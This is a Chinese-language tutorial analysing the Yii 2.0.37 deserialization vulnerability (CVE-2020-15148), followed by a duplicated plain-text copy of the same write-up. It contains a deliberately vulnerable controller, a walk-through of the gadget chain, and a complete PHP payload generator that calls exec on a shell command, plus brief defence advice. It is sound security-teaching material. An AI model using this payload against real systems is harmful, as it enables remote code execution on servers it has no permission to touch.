yii反序列化2.0.37
字数 1151 2025-08-11 21:26:09

YII2.0.37 反序列化漏洞分析(CVE-2020-15148)教学文档

漏洞概述

本教学文档详细分析YII框架2.0.37版本中的反序列化漏洞(CVE-2020-15148),该漏洞允许攻击者通过精心构造的反序列化数据实现远程代码执行。

环境搭建

  1. 下载YII2.0.37基础应用:

    https://github.com/yiisoft/yii2/releases/download/2.0.37/yii-basic-app-2.0.37.tgz
    
  2. 修改配置文件:

    • 编辑config/web.php
    • 设置cookieValidationKey为任意值(防止报错)
  3. 创建测试控制器:

    <?php
    namespace app\controllers;
    use Yii;
    use yii\web\Controller;
    
    class TestController extends Controller {
        public function actionIndex(){
            $name = Yii::$app->request->get('test');
            return unserialize(base64_decode($name));
        }
    }
    
  4. 运行YII应用:

    php yii serve
    

漏洞利用链分析

1. 起点:BatchQueryResult::__destruct()

yii\db\BatchQueryResult类的析构函数会调用reset()方法:

public function __destruct()
{
    $this->reset();
}

2. reset()方法分析

reset()方法中存在关键代码:

if ($this->_dataReader !== null) {
    $this->_dataReader->close();
}
  • _dataReader是可控属性
  • 如果_dataReader对象没有close()方法,会触发__call魔术方法

3. 寻找可利用的__call方法

选择Faker\Generator类的__call方法:

public function __call($method, $attributes)
{
    return $this->format($method, $attributes);
}

4. format()方法分析

format()方法调用call_user_func_array

public function format($formatter, $arguments = [])
{
    return call_user_func_array($this->getFormatter($formatter), $arguments);
}
  • formatters数组可控
  • 可以构造任意函数调用

5. 最终利用点:IndexAction::run()

yii\rest\IndexActionrun()方法:

public function run()
{
    if ($this->checkAccess) {
        call_user_func($this->checkAccess, $this->id);
    }
    return $this->prepareDataProvider();
}
  • checkAccessid属性可控
  • 可实现任意命令执行

完整利用链

  1. BatchQueryResult::__destruct() -> reset()
  2. reset()尝试调用_dataReader->close()
  3. _dataReaderFaker\Generator实例,没有close()方法
  4. 触发Generator::__call('close', ...)
  5. __call调用format('close', ...)
  6. format()调用call_user_func_array($this->formatters['close'], ...)
  7. formatters['close']设置为[CreateAction实例, 'run']
  8. 调用CreateAction::run()
  9. run()调用call_user_func($this->checkAccess, $this->id)
  10. 实现任意命令执行

漏洞利用代码

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'exec';
            $this->id = 'cp /flag /var/www/html/basic/web/1.txt';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;
    class Generator{
        protected $formatters;
        public function __construct(){
            $this->formatters['close'] = [new CreateAction, 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;
    class BatchQueryResult{
        private $_dataReader;
        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}

namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}

防御措施

  1. 升级YII框架到最新版本
  2. 避免反序列化用户可控数据
  3. 使用YII提供的安全组件验证输入
  4. 实现__wakeup()__destruct()方法的安全检查

参考链接

YII2.0.37 反序列化漏洞分析(CVE-2020-15148)教学文档 漏洞概述 本教学文档详细分析YII框架2.0.37版本中的反序列化漏洞(CVE-2020-15148),该漏洞允许攻击者通过精心构造的反序列化数据实现远程代码执行。 环境搭建 下载YII2.0.37基础应用: 修改配置文件: 编辑 config/web.php 设置 cookieValidationKey 为任意值(防止报错) 创建测试控制器: 运行YII应用: 漏洞利用链分析 1. 起点:BatchQueryResult::__ destruct() yii\db\BatchQueryResult 类的析构函数会调用 reset() 方法: 2. reset()方法分析 reset() 方法中存在关键代码: _dataReader 是可控属性 如果 _dataReader 对象没有 close() 方法,会触发 __call 魔术方法 3. 寻找可利用的__ call方法 选择 Faker\Generator 类的 __call 方法: 4. format()方法分析 format() 方法调用 call_user_func_array : formatters 数组可控 可以构造任意函数调用 5. 最终利用点:IndexAction::run() yii\rest\IndexAction 的 run() 方法: checkAccess 和 id 属性可控 可实现任意命令执行 完整利用链 BatchQueryResult::__destruct() -> reset() reset() 尝试调用 _dataReader->close() _dataReader 是 Faker\Generator 实例,没有 close() 方法 触发 Generator::__call('close', ...) __call 调用 format('close', ...) format() 调用 call_user_func_array($this->formatters['close'], ...) formatters['close'] 设置为 [CreateAction实例, 'run'] 调用 CreateAction::run() run() 调用 call_user_func($this->checkAccess, $this->id) 实现任意命令执行 漏洞利用代码 防御措施 升级YII框架到最新版本 避免反序列化用户可控数据 使用YII提供的安全组件验证输入 实现 __wakeup() 或 __destruct() 方法的安全检查 参考链接 YII2.0.37反序列化漏洞分析